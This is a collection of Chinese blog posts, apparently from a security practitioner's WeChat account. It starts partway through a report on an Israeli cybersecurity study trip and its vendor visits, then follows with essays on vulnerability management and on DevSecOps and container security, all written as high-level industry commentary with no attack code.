这些创业公司的创始人大部分都是来自于军队，有个代号不得不提-8200。最有名的震网病毒就是这个组织编写的。8200部队是以色列的NSA，属于情报机构。8200部队出来很多人，都创立了优秀网络安全公司，同时很多以色列的VC人员也来源于此组织。这个组织培养出来的人才有很高的实战经验，同时也有很强的技术背景，让这个组织的军人炙手可热。除了8200如雷贯耳，Talpiot项目更是以色列国防军的精英，但是这个项目培养的人一年也就几十个，数量比较稀少，同时服役周期比较长，所以外界的名声不够大。新诞生的C41也开始充当以色列国防军在网络安全领域发挥力量，目前首批人员已经服役完成面向市场。以色列的军队更像是以色列国家的最大人力资源机构和培训机构，培养了大批的优秀网络安全人才。

政府作出的努力除了上一节提到的资金支持外，还吸引了大量的国外风险资本，并且有很多配套的措施，比如制定相关的出口政策和设立相关的创新机构。同时支持二大网络安全大会：CyberWeek和CyberTech。创造支持性的政策和网络安全合规策略，建立军队和产业的连接，同时也会更关注中小企业的发展。

在学术领域，特拉维夫大学举办了世界上第二大的全球网络安全大会，同时在网络安全领域设置了很多研究类项目。以色列的年轻人一般都是服完兵役后才考虑上大学，要想得到进一步的提升，一般年轻人都会选择去大学深造，这样能够更好的理论结合实践。这些大学同时也会跟以色列国防军有很好的衔接。

全球的很多跨国公司的研发部门会放在以色列，让以色列人深感骄傲。有一种说辞是：美国人把呼叫中心放在印度，把制造中心放在中国，而把核心的研发部门放在以色列。比如英特尔的以色列研发中心研发出的笔记本芯片迅驰系列，以及谷歌的研发中心研究出搜索建议。网络安全领域的公司，目前已有50家将研发中心放在以色列。最近5家世界级整车厂以及Tier1的厂商把研发中心放在以色列专门研究车联网安全，后面提到的公司里面有两家都是专注于车联网安全的领域。

还有很好的培训机制，以色列教育部和国家网络指挥部合作设立相关的全国培养体系，从初中开始就注重培养网络安全专家。还有一些专门针对于女性的网络完全的培训课程。

产品介绍

这次虽说只了解了7家安全公司，但是每家安全公司都是很特别，技术比较前沿，让人真正体会到网络安全“渗透”在每个技术领域，眼光非常超前。

Alcide这家公司本质来说是容器安全公司，但是主要以cloud native的安全为考虑点，包括Kubernetes和Istio的安全，围绕DevSecOps展开产品的解决方案的覆盖，主要的应用场景是Kubernetes。说到跟Aqua和Twistlock的区别，Alcide解释到这两家公司只是关注容器本身的安全，包括漏洞扫描，仓库认证等以容器的生命周期为轴来考虑安全问题，他们更多的考虑的是编排工具以及云原生的一些组件为出发点来考虑安全问题。看到产品演示其实主要在于容器隔离和Kubernetes的安全管理，包括基线和身份认证之类为主。同时这家公司也是2018年的Gartner Cool Vendor in Cloud Security，尤其在容器技术被广泛使用后，被收购的可能性极高。

Kindite这家公司主要的核心技术是SSE（Searchable Strong Encryption 可搜索的强加密），这种技术其实是很多国外CASB厂商的看家技术。工作原理如下图所示：

可以看出来本地的数据，包括浏览器和移动应用的数据。数据上云的时候通过本地私钥进行加密上传，服务保存的即是密文，然后如果需要查询上传的这些数据，也是加密的方式查询，最终返回的数据还是加密的密文，但是到终端上通过相关密钥解密成了明文。这种做法相当于在通路和云端的数据都得到了加密，也就是在运行态的数据和静止态的数据都做了加密，同时还不影响正常使用。这种技术可以极大的推进客户数据上云的速度。但是这种技术的加密数据函数计算还只能做到查询角度，甚至不能进行简单计算，比如加减法。相当于只是一个筛选的函数计算，离全同态加密还有相当长的距离，不过已经有一定的进步在里面。这家公司主要特别的地方是密钥分发体系，这里就不展开了。

Claroty是工控安全领域的明星企业，从他的投资机构就可以看出，种子轮：Team8，A轮：柏尚投资，B轮：淡马锡、罗克韦尔、施耐德和西门子。这种投资人背景加持，很明显让他跟工业设备走的很近，至少工业协议会向他开放。从产品的典型部署模式可以看出来相关的情况：

最核心的是三个产品：CTD（Continuous Threat Detection 持续威胁检测）、EMC（Enterprise Management Console 企业管理平台）和Secure Remote Access（安全远程访问）。该公司的旗舰产品是CTD，主要提供工控网络流量的实时监测和可视化，对于带外系统被动的流量监控可能是最好的方式，对于核心的工业控制系统，不可能停下来去装agent的方式保证安全。EMC相当于是管理中心，可以跟传统的SOC进行对接。SRA的主要是提供策略控制和监控对工业系统资产的访问控制情况。安全方法论没有改变，跟IDS的思路类似，主要技术还是协议解析，深度包检测，漏洞识别等方面。SRA更多的像传统的IAM类产品的方法论。

Sam Seamless Network主要做家庭物联网安全方面，落脚点是在路由器上。从他交付的产品和服务可以看出，主要针对路由器的流量进行安全分析和控制。

基础的安全保障是设备指纹、内网隔离以及安全上网，当然可以跟运营商合作增加额外的一些功能，包括实时补丁，欺骗模块，监控路由器等，也可以增加额外的价值，包括网络安全、家长控制以及连接优化。这类需求的痛点对于个人消费者来说并不是很强烈，个人消费者可能更多的是考虑连接性和WiFi带宽优化的问题。商业模式可以有多种选择，可以向终端消费者收费，也可以跟运营商合作，还有可能跟路由器厂商合作，广告的模式需要更多的思考。目前有些高端的路由器已经有自带的一些安全组件来保护自身的安全。跟运营商合作的可能性更高一些，可以收集一些个人家庭数据进行画像，可以针对性的推荐一些商品，或者简单的进行一些带宽的调配，甚至最基础的运维的数据收集都是有意义的，可以极大的减少运营商的维护成本。

Cyberbit主要是做网络安全靶场的公司，除了这个产品，他还有工控安全、SOAR和EDR的产品。我只重点介绍网络安全靶场，这个平台国内已经有高校采购，反响不错。这种靶场的真实性很高，不只是漏洞发现平台，还有真实网络环境也有实际的安全产品结合在一起。

可以看到下方都是实际的安全产品和SOC，有虚拟的真实网络环境以及流量的产生器和攻击流量模拟器。同时有很多的场景教程在里面进行演练。最厉害的就是这套高仿真的环境，能让人体验到真实企业的网络攻防环境。

BioCatch是一家做反欺诈的公司。基于行为生物指纹的做法，让我觉得很震撼，让人看到机器学习跟安全结合的优势。这种技术就是学习正常客户的行为习惯来判断账号失窃或者是其他诈骗行为的产生，学习的维度非常多，大概有2000维度的数据，可以判断出每个人的实际使用习惯，下图就是实际使用时候的手指的习惯，有左手右右手的，有抖动有卡住的，也有垂直的和弧线比较大的。常规检测的包括地理IP，或者是请求相关字段算是比较基础的维度。这种机器最大的好处，甚至能发现你是否在被欺骗情况下进行的交易。最大的还原是否是本人进行的相关交易操作，核心是打分机制，只有吻合度高交易才能成功，如果得分较低可能导致交易失败。这个产品没有试用期，半年后不满意退款。

Karamba Securty是一家车联网安全公司，见我们是中国人，就说要挑战科恩实验室。他们的核心技术叫做CFI（Control Flow Integrity 控制流完整性），相当于是函数执行流程建模白名单，是他们的核心专利。主要是通过加固的思路保护车联网各种软件的安全，但是这种加固的粒度更细，可以发现的异常也更精准。

Argus是车联网的头部的玩家了，产品比较全，基本覆盖了车上的各个部件，车内和车外，还包括车队，比上家公司内容更多更全。

可以看出有连接ECU的保护，也有核心ECU的保护甚至还有车内网络包括CAN总线和以太网的安全保护。还做到了整个汽车制造周期的安全规划，包括概念设计、实际设计、生产以及上路阶段的安全考虑。最后一天去的Argus公司看demo，都开始研究飞机的安全的保障了，其实也算是汽车安全的一种延伸。

总结

这次去以色列7天交流活动收获满满，从文化层面的批判性文化、对“聪明的失败”的接受度以及平等文化解释了创新的根基。以色列政府设计了一套合理的融资渠道和激励方案，让国外的投资人奔走相告，这里就不对国内投资机构的操作手法进行说明。创业生态的7个不同维度有力支撑着以色列网络安全技术在世界保持领先水平。8家公司的产品也是从侧面反映了整个以色列网络安全业态的一些成果。当然，这里面少讲了一些当地甲方的一些安全建设方案，比如Discount Bank的CISO介绍他们如何做的安全建设，人员配比以及预算情况。中美贸易战的情况下，有些以色列公司对中国还是近而远之，导致有些议程略有所调整。最后感谢我们的导游让我了解了很多的以色列文化，以及我们后面几天的会议组织者冰卉姐，也感谢我的团友们在特拉维夫海滩上每天一起“复习功课”，请我喝酒。

-The End-

阅读原文

跳转微信打开

漏洞管理新说

Mon, 01 Jul 2019 22:02:00 +0800

程度 2019-07-01 22:02

本文主要针对于目前漏洞管理的一些新要求提出了一些见解。

本文概要

漏洞管理（Vulnerability Management）是一个老生常谈的概念，也是信息安全领域最为人熟知的概念。漏洞管理不等于漏洞扫描，漏洞扫描充其量只是过程中的一个步骤。大家经常会把漏洞管理和补丁管理（Patch Management）混为一谈，两者区别也在这里说下，补丁管理是指更新软件、操作系统和应用的一个过程，补丁通常包括功能类、性能类和安全类补丁。把漏洞管理和补丁管理放在一起，基本有一定的衔接关系，在存在漏洞的时候，需要打补丁来进行修复。但是有时候的漏洞短时间内并没有补丁，比如0Day，或者是放弃维护的软件、系统以及应用，比如Windows XP。漏洞有时候就算发现了，也会因为业务问题而无法打补丁，要通过其他的方式降低影响，比如安全流量设备的虚拟补丁。

将企业的漏洞管理计划与安全框架或标准进行对照，如 Center for Internet Security (CIS, 互联网安全中心) Controls，将有助于揭示有差距以及潜在的改进领域。目前CIS Controls的版本是V7.1发布时间是2019年4月。CIS控制是一系列有优先级的纵深防御行为，可以降低大部分常见的攻击方式。CIS控制一共分为三个大的部分，初级、基础级、组织级。每个级别是递进关系，每个级别里面表明了相应的安全手段。如下图所示，这里看到持续的漏洞检测是作为初级能力中的第三项出现，也是在安全能力要求比较低的情况下就需要做出的表现。

关于持续漏洞管理的细分要求

上图中共展示了七个要求：3.1 运行自动化扫描工具主要讲的是非认证式扫描，指外部通过网络指纹方式的扫描；3.2 运行认证的扫描，主要指登录到相应的设备进行扫描；3.3 设定专用账号，这个是扫描的方式要求，这样可以一方面方便扫描，另一方面可以降低误报；3.4部署系统的自动化补丁管理工具，是针对于系统的漏洞进行修复；3.5部署软件的自动化补丁管理工具，这是针对于软件的漏洞进行修复；3.6 进行背靠背的漏洞扫描，是为了验证漏洞是否补丁成功的验证性扫描；3.7 采用风险评级流程，是一种按照风险来对漏洞进行评估的方式。以上七个要求只是说明了应该做到的方面，但并不代表漏洞管理流程，下一章将对漏洞管理流程进行解析。

漏洞管理流程

漏洞管理流程一般情况下分为四个步骤：漏洞识别、漏洞评估、漏洞处理、漏洞报告。

漏洞识别是我们通常意义下的漏洞扫描，也是漏洞管理的第一步。根据现有资产的情况，目前可分为笔记本、PC、服务器、数据库、防火墙、交换机、路由器、打印机等。漏洞扫描进行全部资产的扫描发现已知的漏洞。后面会详细介绍漏洞识别的相关原理。

漏洞评估是在漏洞识别的基础上进行漏洞严重性的评估，这一步非常重要会影响到后面的处理步骤。比较常见的漏洞评估是使用CVSS评分法，根据CVSS的分数可以分为危急、高危、中危和低危。但是这种评估方法被业界诟病太多，需要结合其他的方式来进行评估。做法会更进一步结合资产的重要性来评估漏洞影响，更好的方式是结合风险和威胁评估。后文也会重点说明这种方式。

漏洞处理是在漏洞评估的基础上进行相关的修复、降低影响或者不修复的操作。修复动作不是简单的打补丁，是一个流程上的东西。修复过程通常包括以下几个步骤：

1. 获取厂商的补丁；

2. 分析补丁的依赖和系统的兼容性以及补丁的影响；

3. 建立回滚计划，防止补丁对业务造成未知影响；

4. 在测试环境测试补丁修复情况；

5. 在部分生产环境测试补丁修复情况；

6. 进行灰度上线补丁计划，乃至全量补丁修复；

7. 分析补丁修复后的系统稳定并监控；

8. 进行验证补丁是否修复成功，漏洞是否依然存在。

对于很多无法直接根除漏洞进行补丁修复的情况，比如0Day，不在支持范围的系统或者软件，业务需求无法中断，补丁速度滞后等情况。我们要采取降低漏洞影响的操作，如下图所示：

通常关于漏洞减轻的措施三个大的方面：网络、终端、应用和数据，细分可包括：

1. 隔离系统网络，包括防火墙规则和网络区域划分；

2. 网络访问控制；

3. NIPS、WAF、SW、DAP、RASP等软件或者设备签名规则更新；

4. HIPS终端类安全产品进行阻断；

5. EPP类安全产品类似白名单机制、系统加固等；

6. 阻断有漏洞软件的网络连接；

7. 主机防火墙进行端口阻断。

漏洞报告是漏洞管理的最后一个步骤，也是最终的一个产出物。这个报告的目的是为了总结每一次漏洞管理的成果以及记述过程，存档后也可以对下一次的漏洞管理行为做参考。依照报告的涉及深度可以由浅至深分为：合规报告、修复过程报告、基于风险报告、重点漏洞分析报告、趋势和指标报告、持续改进报告。合规的报告比如PCI-DSS类型的报告，仅仅为了合规的需求。报告本身其实能够说明每一次管理过程的成果，以及每次评估方法的多样性以及合理性。

综上所诉，漏洞管理的成熟度，可以参看下表：

漏洞识别原理

漏洞识别一般是通过漏洞扫描器实现的，识别漏洞的形式无外乎有四种：非认证式扫描、认证式扫描、API扫描、被动流量扫描。前两种是最普遍的方式。非认证方式扫描，也叫网络扫描方式（Network Scanning），基本原理就是发送Request包，根据Response包的banner或者回复的报文来判断是否有漏洞，这种分析Response包内容的主要逻辑是版本比对或者根据PoC验证漏洞的一些详情来判断。认证式扫描也叫主机扫描方式（Agent Based Scanning），这种方式可以弥补网络方式的很多误报或者漏报的情况，扫描结果更准，但是会要求开发登录接口，需要在主机进行扫描。拿Nessus举例，基本就是下发一个脚本执行引擎和NASL脚本进行执行，在主机保存相关数据然后上报服务端，最后清理工作现场。API扫描与接近于应用扫描方式，这里不做深入分析，跟之前写的一篇文章中DAST相关。被动式流量扫描比主动式的流量扫描从带宽IO上没有任何影响，但是需要对所有请求和返回包进行分析，效果来说最差，因为某些应用如果没有请求过就无法被动地获取相关流量数据进行分析。

说完这些模式，漏洞识别的核心原理是什么呢？漏洞识别本身并不是很复杂的事情，因为NVD的数据全部是公开，数据来源来看除非有大量的0Day，否则漏洞数量上每个厂商的区别并不大。笔者曾研究过Nessus的实现原理，毕竟在3.0之前还是开源的。80%以上的漏洞识别都是通过版本比对实现的，但是不是CVE漏洞能够体现的，而是每个厂商的安全公告（Security Announcement）获取的。比如RedHat的Security Announcement（ https://www.redhat.com/mailman/listinfo/rhsa-announce），可以通过邮件订阅，这里才是真正的可用数据。这里附带一句，任何成熟的软件厂商都应该维护这样的一个安全公告，要不然客户遇到漏洞无法修复。主流的Linux系统都有这种公告我就不一一列举了，还有一些核心的软件也有这种安全公告内容。有这个的好处是让漏洞扫描工具可以迅速的定位漏洞问题所在。除了版本比对，各个扫描器的区别就在PoC的验证脚本数量，老牌的漏扫三大厂Rapid7、Tenable、Qualys积累的都不少，这个就是个日积月累的活了，这种通过PoC的方式更准。因为有些情况运维图省事，直接替换二进制，其实漏洞已经修复了，但是版本没有变化，这时候PoC就起作用了，还有在版本无法获取的情况下也可以发挥作用。PoC可以分为两种形式，一种是本地类的验证，比如bash的Ghost漏洞这种情况就是本地执行PoC方式；另一种网络类的验证，比如OpenSSL的HeartBleed漏洞，就需要向其网站能够发送触发漏洞情况的Payload。其实无论是网络类的扫描方式还是主机类的扫描方式都是这两种原理。

这里可以贴个Kenna和Cyentia联合报告的图，记录了每个厂商的修复漏洞时间：

微软对待漏洞的态度还是挺坚决，75%的漏洞都会在134天内能够修复，反观IBM就会慢很多，也是对于厂商选型来看有参考价值。

其实漏洞扫描厂商的最大区别并不是部署模式，或者是发现方式，最核心的问题是对漏洞的评估。举个例子，如果有1000个漏洞被识别了，要如何回答客户哪100个漏洞是最值得修复的，这才是核心区别，下面着重讨论。

漏洞管理遇到新的问题

一、漏洞评估方式的改进

漏洞的评估模型目前有三种：基于漏洞本身的评价；基于资产的评价；基于风险和威胁的评价。

Model	Focus	Approach
漏洞为中心	漏洞的严重性，依赖CVSS评分包括：可利用性、利用影响、是否公开了利用方式等几个维度，具体可参看CVSS评分标准。	逐渐降低风险
资产为中心	资产对应的商业价值，资产的暴露面。（是否含有敏感数据，是否面向互联网）	逐渐降低风险
威胁为中心	是否在恶意软件中或者勒索软件中，是不是在黑客常用工具集中或者在外界已经有明确的利用脚本等。	威胁立即修复

一般客户能做到以漏洞为中心的第一点也不容易，基本都是对于所有漏洞无差别修复，这样工作量很大，且没有抓住重点。加入资产的重要性进了一步，根据实际资产的价值进行结合这样更有针对性。以威胁为中心的评价方式是近几年提出的，并不是取代上面两者，而是这个基础上综合考虑加入威胁的因素。合起来的模型叫做逐渐降低风险和立即处理威胁（Gradual Risk reduction & Imminent Threat Elimination (GRIT)）。如下图所示：

越靠下的部分证明修复窗口越大，越不需要紧急修复，越靠上修复窗口越小，需要紧急修复。最下面的逐渐降低风险是对待风险以漏洞为中心或者是以资产为中心的传统方式。中间的普通紧急威胁是指在渗透的数据库里比如exploitDB或者在渗透测试的工具集里，或是在恶意软件或者勒索软件利用里面，这些数据的来源于威胁情报，需要做一些紧急的应对。最上面的紧急威胁是指针对性的攻击，主要指从威胁情报获取TTPs的攻击，这个针对性很强的攻击必须在很短的时间内处理。

下图是2019年十大安全项目之持续适应风险与信任评估的漏洞管理项目，其基本思路也是基于风险和危险的漏洞管理方式。

二、资产类型的扩展

信息化领域目前的两大趋势变化：传统数据中心上云；IT和OT的结合。两种趋势导致被评估的资产类型发生了很大的变化且导致问题关注点的转移。在上云的趋势下，传统的部署模式会有很大的挑战，尤其是容器技术的大规模使用，之前漏洞扫描的方式基本失效。云计算在使用上方的便性有很大的提升空间，但是通过本地部署的方式去进行漏洞并不是最合适的解决方案，基于云的扫描器可能更适用于这种情况。基于云计算的漏洞扫描方式可以跟云管平台联动，更好的管理云上资产，且毫不遗漏地进行所有云上资产的漏洞管理。由于容器技术的特点，之前网络类的还是基于agent的方式都很难对容器进行有效的漏洞扫描，都需要对容器的文件系统进行理解，对每个layer分析来进行漏洞的分析和扫描。因为容器的网络组织形式以及在运行时状态，会让传统的漏洞扫描失效，基本原理发生了根本的变化。所以在各个大的传统厂商，需要针对容器要做新的技术演进，同时留出了市场空间可以让专门做容器安全的公司有时间切入这个市场。

关于IT和OT的结合，这个场景会更多，漏洞作为安全领域的皇冠，OT安全首当其冲的就是考虑这个问题。OT包含的五大场景：智慧城市、智慧家庭、智慧医疗、智慧交通和智慧工业。智慧城市可以以摄像头举例，现在国内的雪亮工程都是当地极大的工程，但是很少考虑摄像头终端设备的漏洞情况和安全性问题。智慧医疗很多专业的医疗设备都会联网，同时安全性问题也就暴漏出来，国外有些安全厂商已经在关注这个特定的行业。智慧交通在车联网上在车内以及TBOX都有一些厂商切人，漏洞这块还是以挖掘为主，漏洞管理这块还没有成型。智慧工业的场景是常提到的工控安全，这个领域已经有相关的国内厂商在做，但是大部分都还是传统的IT思路。OT领域的漏洞管理还是比较初级的市场，需要更多的市场培育和关注。

三、新的产品类型

这里不提及Web漏洞扫描和配置安全扫描的产品类型，重点提到威胁漏洞管理（TVM）和泄漏攻击模拟（BAS）两种产品。TVM是指威胁和漏洞管理，这种产品本身可以不用做相关的漏洞扫描，这是将漏洞和威胁信息结合归并，可以理解为漏洞领域的SoC。TVM可以使用漏洞扫描数据并利用威胁情报（TI）、攻击的漏洞以及内部资产的重要性，实现让组织更好地理解漏洞风险，防止泄漏产生。同时也可以跟IPDS和WAF类产品对接可以作为漏洞处理的方式可以迅速响应。代表厂商有Kenna Security 和NopSec，同时这两家厂商对于漏洞的评估也比传统的漏洞扫描厂商更有针对性，更基于威胁和风险本身。

BAS是以攻击者视角来看待漏洞。会自动化模拟攻击行为来利用漏洞，更真实，也更具实际意义。BAS会将漏洞识别和漏洞利用合二为一，让客户感觉更真实有效。代表厂商有AttackIQ和Core Security。AttackIQ基于MITRE的ATT&CK的矩阵模型进行的攻击模型来设计的产品更切实落地，基本实现方式是安装agent、运行测试脚本和场景模拟，最后查看结果。形式上看起来跟传统的漏洞扫描没有区别，就是角度上区别比较大，更贴近于实际的攻击场景。

总结

本文主要针对于目前漏洞管理的一些新要求提出了一些见解。首先是介绍了漏洞管理的流程以及成熟度；其次，详细介绍了漏洞扫描的相关原理，对于大部分产品都适用；最后重点引出了漏洞管理遇到的新的问题，包括：漏洞评估方式改进、资产类型的扩展以及新的产品类型的提及。漏洞评估方式的改进是最重要需要注意的地方，也是目前漏洞管理里面的痛点所在，如果没有基于风险和威胁的角度，修复漏洞的优先级就无法做判断，漏洞管理就会走入程式化，效果可能很难得到最好的体现。资产类型的扩充对于目前的漏洞管理方式提出了新的挑战尤其是在云计算、容器技术和IoT相关的场景下，需要思考资产的特殊性来进行漏洞管理的适配。新的产品类型其实也是基于上述提到的产品变化衍生出来的产品，包括TVM和BAS类型的产品，漏洞扫描并不是没有变化，只不过向着更有安全价值的方向在演进。

-The End-

阅读原文

跳转微信打开

DevSecOps发展与解决方案

Thu, 09 May 2019 17:18:00 +0800

原创程度 2019-05-09 17:18

深度解读DevSecOps。

本文摘要

首先介绍了DevSecOps的发展历程，将安全融入开发和运维中，让安全更好的前移以取得更好的效果；其次说明了DevSecOps的解决方案以及相关的工具，如何让DevSecOps更好的落地；然后提到了容器安全，因为容器是让DevSecOps更好落地的基础设施，容器安全从某种意义来说是DevSecOps的基础安全；最后提到了DevSecOps的最佳实践。

-正文-

引发DevSecOps的这个概念背后有很强大的变化，安全一般来说是服务于其他信息技术，如果相应的技术或者解决方案或者流程发生变化，安全也要随之改变，否则无法适应新的技术的安全要求。这里面的最重大的变化有三个：开发流程的变化；技术架构的变化；IT基础设施环境的变化。

传统的软件开发流程分为六个阶段：需求、设计、开发、实现、部署、维护。最常见的开发模型就是瀑布式的开发流程，将所有的阶段进行规划，然后执行。这样的流程好处就是阶段明显，但是最大的弊端就是只要一个阶段发生延期就会导致所有的延期，而且每个阶段需要的人不一样，互相沟通的机制也很少。瀑布式开发模型会极大的拖慢整个开发周期，所以引入了敏捷开发来解决这个问题。敏捷开发解决的核心问题就是持续交付，让软件的交付周期变短，是一个增量的、迭代式的开发模式。可能不是一次性交付所用的功能和特性，而是在每一次交付中有一些功能和特性的交付。开发人员这样的交付速度，很明显会给安全人员带来挑战，怎么在每一次的迅速交付中来保证安全？敏捷开发的流行必然形成了DevOps的趋势，即开发运维一体化。

技术架构也由之前的单体应用向微服务架构调整。之前开发的产品基本属于单体应用，大部分仅需进行进程内通信即可完成相关的功能。但是随着解决问题的复杂性水平越来越高，同时为了更好的提高可用性以及运维的可维护性，引入了微服务的理念和架构。微服务很明显的好处就是拆散了系统的复杂性，降低了系统的耦合性，提高了系统的可维护性。同时也可以在高可用、平行扩展上天然支持，而不需要外部运维组件支持。微服务的架构也需要安全人员关注的粒度要足够细，之前可能只用关注一个应用的安全即可，对于微服务架构每个服务的安全都需要关注。

传统的IT技术架构的变化也是惊人的。目前上云的趋势已经成为主流，大部分公司的数据中心已经云化，无论私有云、混合云还是公有云。云计算除了带来了很好的节省成本的优势，同时也带来了效率和速度的提升。尤其是云原生应用的兴起，一切组件和相关的服务都在云端解决，自动化水平空前提高。特别提到的容器技术这个虚拟化技术可以更好的加快DevOps的落地。

从人员的角度来看，因为需求部门和开发部门的壁垒，敏捷开发出现了，持续交付的过程中让需求和开发部门更好的沟通，而这种情况会引发开发和运维的矛盾，为了更快捷的交付引入了DevOps这种组织和实践。在DevOps的过程中发现，安全的问题需要考虑进来，按照历史的惯性，一开始只是开发运维走到了一起，安全的要素还是事后考虑，大部分的情况下安全人员还是属于事后处置，安全效果没有得到很好的提升，一个很明显的现象是开发人员在部署最新的技术架构，而安全人员还在关注传统的安全问题。为了解决这个问题，所以在整个流程中加入了安全的人员形成了DevSecOps这种协同机制或者特殊岗位，可以让安全人员更早的介入开发和运维的过程，让安全的措施向前移动，主要的目的是让所有的技术人员都对安全负责。

DevSecOps角色交叉图

在之前微软提出的SDL流程中更多是侧重于威胁建模（Threat modeling），注重的阶段全是在产品研发阶段，忽略了运维的阶段。DevSecOps刚好同时解决了开发和运维的安全问题。在实施DevOps过程中，实际的安全挑战比较大，通过下面的Gartner统计图可以发现DevOps团队跟安全的协作是他们首要考虑的问题。

DevOps关心问题统计图

在DevSecOps的实际人员配比中，开发人员、运维人员以及安全人员的比例是100:10:1，安全人员的配备是最少，同时交付的频率又是很高的，大概是一天一个交付。安全的问题也很突出，做过的历史经验统计大概每千行的代码Bug数量是0.5-10个区间，同时在222行代码中就可能有5个直接引用库，可能高达54依赖库存在。同时在DevOps的过程中，运维人员的工具化水平已经比较高，大部分流程都是通过自动化的工具进行处理。

DevOps运维工具集

这就要求安全人员在充分了解这些特点的前提下采取相应的安全解决方案，直接考虑的就是高度自动化，需要相关的安全产品来支撑DevOps的特点。DevSecOps的架构需要跟运维的工具集做相关的对应。

DevSecOps相关工具示意图

考虑到DevSecOps的安全问题核心问题是应用安全，可以通过应用安全进行考虑。参考应用测试的安全产品和理念进行思考。

2018年应用安全测试产品魔力四象限

应用安全测试产品核心能力在DevOps下的得分

关于应用安全测试产品的核心能力主要有三种：静态代码扫描（SAST）；动态外部扫描（DAST）；交互式应用测试（IAST）。静态代码扫描和动态外部扫描都是比较常见的应用安全手段。静态代码扫描的优点是可以支持多语言并且容易理解，缺点是准确率很低，对于执行流不可见，而且需要很多的客户配置的规则。动态外部扫描可以做到应用平台无关性，可以很好地支持手工测试调试，但是缺点也很明显比如覆盖率很低、需要安全专业背景才可以解释、执行效率较低等。交互式的应用安全测试方案可以很好地结合上述两种方式的优点，准确率极高，实时性很高，可以看到代码执行流，很灵活地用在各种环境，也不需要额外的配置等。

各种测试方案的对比图

如果现实情况允许的情况下，可以将IAST的方案升级到实时应用保护（RASP），在测试环境可以使用IAST，在生产环境使用RASP。主要的区别是IAST重在测试，通过CI/CD集成，不阻止访问；而RASP重在生产环节，可以进行阻止操作，可以替代WAF这种产品。但是两者功能实现原理基本一致，可以做到一种结合。

IAST和RASP区别和联系

目前软件开发有个趋势就是开源软件的兴起。就以Java开源组件来看，年下载量以指数规模增长。所以开源软件漏洞以及授权合规的问题就显得重要起来。

Java开源组件10年来下载数量

软件组件分析（SCA）作为一个很重要的部分被提及，主要就是针对开源软件（OSS）以及第三方商业软件来发现漏洞以及合规问题。

2019Q2的SCA波形图

这个领域还属于比较新兴的阶段，Black Duck被Synopsys收购后迅速补全了这个领域，是这个领域比较领先的公司，还具有开源软件漏洞分析的能力，并且有自己对开源漏洞的编号。WhiteSource可以根据实际使用的组件给出风险建议。

再说到容器安全。容器作为DevOps的比较友好的基础设施，其特点可以很好的促进DevOps的落地，可以说以后的DevOps的基础设施。容器安全也就是DevOps的基础设施安全。容器的采用率上目前已经很好，在使用率上已经达到了81%，无论是在测试环境还是生产环境，容器的年度下载量也已经达到120亿。

容器采用率示意图

近4年容器下载量

容器安全需要关注的安全分为以下几个方面：

第一、HostOS安全。对于HostOS，应该本着够用即可的方式，因为HostOS本身并不需要跑什么应用，所以只要保证基本的容器环境即可，也可以有效降低攻击面。方式有几种：自己编译，也有其他商场的专门为容器而生的操作系统，比如Red Hat、 Enterprise Linux、 Atomic Host、CoreOS、Ubuntu Core、VMware (Photon OS)、Microsoft (Nano Server)、RancherOS等。

第二、关注镜像扫描和配置扫描。镜像扫描主要关注镜像中的漏洞以及可能存在的组件的漏洞，这个跟上面提到的SCA分析开源漏洞有相关性。同时要关注HostOS的合规以及容器本身配置的合规性。CIS也为Docker专门编写了标准来符合相关的标准。

第三、网络隔离性。在微隔离提出后（Micro segmentation），容器的隔离叫微微隔离（Nano segmentation）。容器间的隔离更多是以粒度更细的隔离方式，能够在API或者服务层面进行隔离，可以有效增强业务的可视性并加大了攻击扩散的难度。

第四、实时监控。容器的实时监控安全是最重要的防入侵环节。采用的方式有多种，包括：Agent安装在HostOS上、启动特殊权限容器、在每个容器中部署一个安全层、直接锁定模式等。现在比较主流的是启动特殊权限容器，这样部署起来更容易一些。

其他还有几个方面就不展开讨论了，包括对容器编排系统比如Kubernetes的支持，以及IAM领域在容器的实现等。

容器安全领域在美国目前有多家公司涉及其中，其中比较领先的是TwistLock和AquaSec，都很好的解决了上述提到的安全问题。

综上所述，笔者只是从技术领域来进行DevSecOps的讨论。如果需要从技术上对内部做安全产品的评估，可以参照下表进行对照，是否产品得到了很好的使用。

DevSecOps自动化评估表

-总结-

本文主要围绕DevSecOps的发展和解决方案来展开。讲解了DevSecOps的发展由来和面临挑战，重点描述了技术的解决方案，尤其是IAST&RASP和SCA产品在应用测试产品的出现以及它们解决的问题，最后讲解了容器安全的一些要求。在DevSecOps的风潮下，安全自动化越来越重要，同时也是软件供应链最大的变化，这个不仅仅是要求软件交付的企业，对于采购软件的企业，也要把安全的要求附件到软件开发的企业中来完善这种安全的制度以及流程。

-The End-

阅读原文

跳转微信打开